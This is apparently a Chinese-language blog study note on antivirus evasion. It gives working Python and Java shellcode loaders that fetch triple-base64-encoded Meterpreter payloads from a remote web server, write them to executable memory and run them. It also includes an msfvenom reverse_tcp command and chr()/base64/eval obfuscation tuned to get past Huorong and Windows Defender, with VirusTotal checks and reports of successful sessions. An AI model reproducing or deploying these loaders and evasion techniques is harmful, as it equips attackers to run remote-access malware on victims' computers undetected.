0x01[特征查杀]

  • 杀软静态查杀我所知的有两种,但是无论哪一种都是将Hash特征码进行提取和匹配
  • 首先是整个文件的特征码,杀软提取病毒特征码后存入数据库,后续查杀的时候将进行Hash匹配
  • 当文件稍有变动,其Hash就有可能改变,所以另一种特征码思路是提取一段不易改变的、不易误判的程序作为样本并提取Hash

0x02[ShellCode_Loader]

  • 首先明确这种免杀属于分离免杀
  • ShellCode部署在远程服务器,利用加载器进行加载
  • ShellCode_Loader的实现后面再学,先实验可用性

    • Python版Loader
    • Msf载荷的ShellCode
import ctypes
import requests
import base64

scode = requests.get("http://x.x.x.x/bs4SD.txt")

"""
# 编/解码多次(3)
realCode = scode.text
for i in range(3):
    realCode = base64.b64decode(realCode)
shellcode = bytearray(realCode)
"""

shellcode = bytearray(base64.b64decode(scode.text))

#设置返回类型64位,默认32位
#64位需要
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

#申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#此函数从指定内存中复制内容至另一内存里

#32位写法
#ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))

#64位写法
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))

#调用CreateThread将在主线程的基础上创建一个新线程  
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  • 代码地址——参考资料[1]

0x03[实验过程]

  • 基础准备

    • 首先生成一个Base64版的Msf Windows 载荷(Python)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.58 LPORT=4445 -f py
  • 将生成的内容base64编码,可以编码多次,但是ShellCode_Loader就要相对应的修改,我这里编码三次

image-20220527224506258.png

  • 将上面buf内容base64编码三次后写入TXT部署在远程WEB服务器上,我这里为bs4SD.txt
  • 注意不是直接base64编码,而是把buf内容编码
import base64

buf =  b""
# ......
buf += b"\x56\xff\xd5"

StringSL = buf
for i in range(3):
    StringSL = base64.b64encode(StringSL)
print(StringSL)

image-20220527215110702.png

  • 由于ShellCode_Loader.py本身可能已加入病毒库,所以要对其本身先免杀

image-20220527180059657.png

Loader免杀
  • 首先在Python代码中随便插入了垃圾代码,该文件的Hash自然就改变了,但是还是会被火绒查杀,所以推断是某个代码片段作为了特征
  • 经过逐行删检,可以确定火绒的特征代码为这一段
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
  • 那么思路就是对这一段进行混淆
  • 明确的思路有两个

    • 替换成其他不被检测的相同效果的函数
    • 将上面代码编码,然后解码送入eval
ctypes.windll.NtDll.RtlCopyMemory(ptr,buf,len(shellcode))
ctypes.windll.NtDll.RtlCopyMemoryNonTemporal(ptr,buf,len(shellcode))
# 替换代码,但是我替换后运行会报错
  • 如果遇到以下报错信息
OSError: exception: access violation writing......
  • Python在申请内存的时候默认是使用32位的,由于x86和x64的兼容性问题导致了内存不可写(网上说的)
StringSD = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"

eval(base64.b64decode(StringSD))

image-20220527190923205.png

  • 我选择了base64编码,然后使用Pyinstaller打包,但是火绒直接报毒

image-20220527210254385.png

  • 去掉这段base64编码后,再次打包未报毒,说明简单的一次base64编码打包已经无法过火绒了
  • 修改了base64串后再打包未报毒,说明我们只需要免杀base64串即可,我觉得思路很多

    • ①多次base64编码配合多次解码
    • ②转换成chr()进行拼接
    • ③自定义一个码表
  • 这里选择chr()拼接
# encode.py
res = ""
strSD = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"
for i in strSD:
    res = res+"chr("+str(ord(i))+")+"
print(res)
  • 使用Pyinstaller打包成exe后方便使用

image-20220527211706024.png

  • 但是当我尝试上传到Win10虚拟机的时候,被ASMI干掉了......

image-20220527225055667.png

  • 麻了,一步步打包测试看是哪里的问题......
  • 经过测试,发现当这几段代码出现的时候,WinDF就会报毒,缺少任意一段就不会报毒
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  • 还是使用前面的思路,使用chr结合base64编解码进行绕过
import ctypes
import requests
import base64

scode = requests.get("http://x.x.x.x/bs4sd.txt")
realCode = scode.text
for i in range(3):
    realCode = base64.b64decode(realCode)
shellcode = bytearray(realCode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

bypassPTR = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(87)+chr(97)+chr(88)+chr(74)+chr(48)+chr(100)+chr(87)+chr(70)+chr(115)+chr(81)+chr(87)+chr(120)+chr(115)+chr(98)+chr(50)+chr(77)+chr(111)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(66)+chr(52)+chr(77)+chr(122)+chr(65)+chr(119)+chr(77)+chr(67)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(66)+chr(52)+chr(78)+chr(68)+chr(65)+chr(112)+chr(75)+chr(81)+chr(61)+chr(61)

ptr = eval(base64.b64decode(bypassPTR))

bypassBF = chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(78)+chr(111)+chr(89)+chr(88)+chr(73)+chr(103)+chr(75)+chr(105)+chr(66)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(117)+chr(90)+chr(110)+chr(74)+chr(118)+chr(98)+chr(86)+chr(57)+chr(105)+chr(100)+chr(87)+chr(90)+chr(109)+chr(90)+chr(88)+chr(73)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(81)+chr(61)+chr(61)

buf = eval(base64.b64decode(bypassBF))

StringSD = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(83)+chr(100)+chr(71)+chr(120)+chr(78)+chr(98)+chr(51)+chr(90)+chr(108)+chr(84)+chr(87)+chr(86)+chr(116)+chr(98)+chr(51)+chr(74)+chr(53)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(51)+chr(86)+chr(112)+chr(98)+chr(110)+chr(81)+chr(50)+chr(78)+chr(67)+chr(104)+chr(119)+chr(100)+chr(72)+chr(73)+chr(112)+chr(76)+chr(67)+chr(66)+chr(105)+chr(100)+chr(87)+chr(89)+chr(115)+chr(73)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(112)
eval(base64.b64decode(StringSD))

bypassCT = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(68)+chr(99)+chr(109)+chr(86)+chr(104)+chr(100)+chr(71)+chr(86)+chr(85)+chr(97)+chr(72)+chr(74)+chr(108)+chr(89)+chr(87)+chr(81)+chr(111)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(119)+chr(75)+chr(83)+chr(120)+chr(106)+chr(100)+chr(72)+chr(108)+chr(119)+chr(90)+chr(88)+chr(77)+chr(117)+chr(89)+chr(49)+chr(57)+chr(49)+chr(97)+chr(87)+chr(53)+chr(48)+chr(78)+chr(106)+chr(81)+chr(111)+chr(99)+chr(72)+chr(82)+chr(121)+chr(75)+chr(83)+chr(120)+chr(106)+chr(100)+chr(72)+chr(108)+chr(119)+chr(90)+chr(88)+chr(77)+chr(117)+chr(89)+chr(49)+chr(57)+chr(112)+chr(98)+chr(110)+chr(81)+chr(111)+chr(77)+chr(67)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(119)+chr(98)+chr(50)+chr(108)+chr(117)+chr(100)+chr(71)+chr(86)+chr(121)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(119)+chr(75)+chr(83)+chr(107)+chr(112)


handle = eval(base64.b64decode(bypassCT))

bypassDF = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(88)+chr(89)+chr(87)+chr(108)+chr(48)+chr(82)+chr(109)+chr(57)+chr(121)+chr(85)+chr(50)+chr(108)+chr(117)+chr(90)+chr(50)+chr(120)+chr(108)+chr(84)+chr(50)+chr(74)+chr(113)+chr(90)+chr(87)+chr(78)+chr(48)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(111)+chr(89)+chr(87)+chr(53)+chr(107)+chr(98)+chr(71)+chr(85)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(116)+chr(77)+chr(83)+chr(107)+chr(112)

eval(base64.b64decode(bypassDF))
效果检测
  • VT扫一下

image-20220528013007500.png

  • McAfee果然不好糊弄
  • 尝试上线

image-20220527224421414.png

远程加载Loader
  • ShellCode_Loader本质是分离加载
  • 上面实现了ShellCode部署在远程,对于Loader则我们选择了进行免杀,以让他能够在目标主机上落地存活,那么,我们是否可以将Loader也部署远程,使得整个加载流程变成如下

image-20220528190801536.png

  • 首先是将Loader也转换成可供远程加载的形式,由于是多行代码此时就不能使用eval了,我们转用exec
  • 直接将Loader全部base64编码,部署在远程WEB上

image-20220528202627321.png

  • 加载运行

image-20220528202414151.png

  • 成功上线,顺带一提,这次是开启了DF的

image-20220528202538958.png

0x04[Loader原理]

  • 首先将上面的Loader代码进行逐行分析,然后根据原理尝试使用Java写一个ShellCode_Loader
代码分析
  • 引库
import ctypes
import requests
import base64
  • ctypes是Python(2.5~)内置库,用以帮助连接二进制动态链接库
  • 提供了一系列与C、C++语言兼容的数据结构类与方法,可基于由C源代码编译而来的DLL动态链接库文件,进行Python程序与C程序之间的数据交换与相互调用
  • 在Windows平台上调用的是Windows API相关函数

image-20220528210027883.png


  • 加载ShellCode
scode = requests.get("http://x.x.x.x/bs4SD.txt")

realCode = scode.text
for i in range(3):
    realCode = base64.b64decode(realCode)
shellcode = bytearray(realCode)

image-20220528211104649.png


  • 设置返回类型
  • 函数VirtualAlloc用以申请内存,由于Python在申请内存的时候默认是使用32位的,所以在x64的平台上需要用restype函数设置返回类型为ctypes.c_unit64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

  • 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
//VirtualAlloc原型
LPVOID VirtualAlloc{
    LPVOID lpAddress,       #要分配的内存区域的地址
    DWORD dwSize,           #分配的大小
    DWORD flAllocationType, #分配的类型
    DWORD flProtect         #该内存的初始保护属性
};
  • 申请一块内存可读可写可执行

  • ShellCode载入内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

#32位写法
#ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))

#64位写法
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
RtlMoveMemory(Destination,Source,Length);
Destination    //指向移动目的地址的指针
Source         //指向要复制的内存地址的指针
Length        //指定要复制的字节数
  • 从指定内存中复制内容至申请的内存里

  • 创建进程
HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
    SIZE_T dwStackSize,                        #置初始栈的大小,以字节为单位
    LPTHREAD_START_ROUTINE lpStartAddress,   #指向线程函数的指针
    LPVOID lpParameter,                       #向线程函数传递的参数
    DWORD dwCreationFlags,                   #线程创建属性
    LPDWORD lpThreadId                        #保存新线程的id
)
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

  • 等待线程结束
  • WaitForSingleObject函数用以检测线程的状态
DWORD WINAPI WaitForSingleObject(
    __in HANDLE hHandle,         #对象句柄。可以指定一系列的对象
    __in DWORD dwMilliseconds   #定时时间间隔
);
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
  • ctypes.c_int(handle)为我们创建的线程
  • ctypes.c_int(-1)设置等待时间为负数,等待时间即成为无限等待,线程便不会退出,为0或者正数则会在时间到达后线程退出并返回信号

  • 上面分析来源于参考资料[2],原文有更加详细的解释
  • 所以ShellCode_Loader整体流程如下

image-20220529153740197.png

  • 我们现在按照这个思路尝试编写一个Java版的ShellCode_Loader,所有方法尽可能使用原生实现

0x05[Loader-Java实现]

  • 相关环境

    • java环境:JDK8u66
    • 靶机Win10
获取ShellCode
import java.io.*;
import java.net.*;

public class ShellCode_Loader {
    public static void main(String[] args) throws Exception {
        // 获取远程ShellCode
        String bodyLine = "";
        URL getSD = new URL("http://127.0.0.1/bs4SD.txt");
        HttpURLConnection con = (HttpURLConnection) getSD.openConnection();
        con.setRequestMethod("GET");
        // 获取返回状态码
        int resCode = con.getResponseCode();
        StringBuffer resp = new StringBuffer();
        if (resCode == HttpURLConnection.HTTP_OK){
            // 获取输入流
            BufferedReader readIn = new BufferedReader(new InputStreamReader(con.getInputStream()));
            while ((bodyLine = readIn.readLine())!=null) {
                resp.append(bodyLine);
            }
            readIn.close();
        }
        System.out.println(resp);
    }
}
处理(解码)ShellCode
// Base64解码&处理数据
byte[] ShellCode = new byte[1024];
Base64.Decoder decoder = Base64.getDecoder();
String decode_byteSD = resp.toString();
for (int i=0;i<3;i++)
    decode_byteSD = new String(decoder.decode(decode_byteSD.getBytes()), StandardCharsets.UTF_8);
String[] repStr = new String[]{"\n"," ","(byte)","0x"};
for (String st:repStr)
    decode_byteSD = decode_byteSD.replace(st, "");
String[] lastStr = decode_byteSD.split(",");
for (int count=0;count<lastStr.length;count++)
    ShellCode[count] = (byte) Long.parseLong(lastStr[count], 16);
申请/放入内存/启动
  • Java无法对操作系统底层进行操作,但是可以通过JNI(Java Native Interface)调用其他语言来实现底层访问
  • native方法就是Java调用非Java代码的接口,而该方法的实现是由非Java语言实现,比如C/C++
  • JNI可以在下面这些情况使用——参考资料[3]

    • 标准Java类库不支持应用程序平台所需的平台相关功能
    • 用非Java语言编写了一个类库,如何使用Java调用
    • 需要使用其他更接近硬件的语言来满足程序的性能要求

image-20220529225943202.png

  • 我们使用enqueue进行实现——参考资料[4]

image-20220530002212361.png

System.loadLibrary("attach");
Class clazz = Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method md:clazz.getDeclaredMethods()){
    if (md.getName().equals("enqueue")){
        md.setAccessible(true);
        md.invoke(clazz, -1L,ShellCode,"LT","TL",new Object[]{});
    }
}
  • calc测试,测试ShellCode——参考资料[5]

image-20220531005026630.png

  • MSF上线

image-20220531010654160.png
image-20220531010636761.png

  • 由于tools.jar存在于jdk,而非jre中,当环境使用jre的时候就可能会报如下错误

image-20220530225058670.png

  • 学习了相关资料, 借鉴rebeyond师傅使用的双亲委派机制(Code From p1ay2win)——参考资料[6]
package sun.tools.attach;

import java.io.IOException;

public class WindowsVirtualMachine {
    public WindowsVirtualMachine() {
}
static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;

static native long openProcess(int var0) throws IOException;

public static void run(byte[] buf) {
    System.loadLibrary("attach");
        try {
            enqueue(-1L, buf, "test", "test");
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }
}
javac WindowsVirtualMachine.java
cat WindowsVirtualMachine.class | base64
  • 生成的base64字符串缝入我们前面的代码
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class ShellCode_Loader {
    public static void main(String[] args) throws Exception {
        // 获取远程ShellCode
        String bodyLine = "";
        URL getSD = new URL("http://127.0.0.1/bs4SD.txt");
        HttpURLConnection con = (HttpURLConnection) getSD.openConnection();
        con.setRequestMethod("GET");
        // 获取返回状态码
        int resCode = con.getResponseCode();
        StringBuffer resp = new StringBuffer();
        if (resCode == HttpURLConnection.HTTP_OK){
            // 获取输入流
            BufferedReader readIn = new BufferedReader(new InputStreamReader(con.getInputStream()));
            while ((bodyLine = readIn.readLine())!=null) {
                resp.append(bodyLine);
            }
            readIn.close();
        }
        // Base64解码&处理数据
        byte[] ShellCode = new byte[1024];
        Base64.Decoder decoder = Base64.getDecoder();
        String decode_byteSD = resp.toString();
        for (int i=0;i<3;i++)
            decode_byteSD = new String(decoder.decode(decode_byteSD.getBytes()), StandardCharsets.UTF_8);
        String[] repStr = new String[]{"\n"," ","(byte)","0x"};
        for (String st:repStr) decode_byteSD = decode_byteSD.replace(st, "");
        String[] lastStr = decode_byteSD.split(",");
        for (int count=0;count<lastStr.length;count++) ShellCode[count] = (byte) Long.parseLong(lastStr[count], 16);

        String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi";
        Class<?> claTools = new toolsAttach().get(Base64.getDecoder().decode(classStr));
        claTools.getDeclaredMethod("run", byte[].class).invoke(claTools,ShellCode);
    }

    public static class toolsAttach extends ClassLoader{
        public Class get(byte[] bytes){
            return super.defineClass("sun.tools.attach.WindowsVirtualMachine",bytes,0,bytes.length);
        }
    }
}
  • 对于数据在传输过程中,主要是加载远程ShellCode,仍然有流量特征能被检测到(高熵)

image-20220531144631816.png

  • 不过上面的代码只能用于Windows,与在Linux上enqueue的实现不同,鉴于Linux杀软强度较之Win低,我懒得学了......

0x06[参考资料]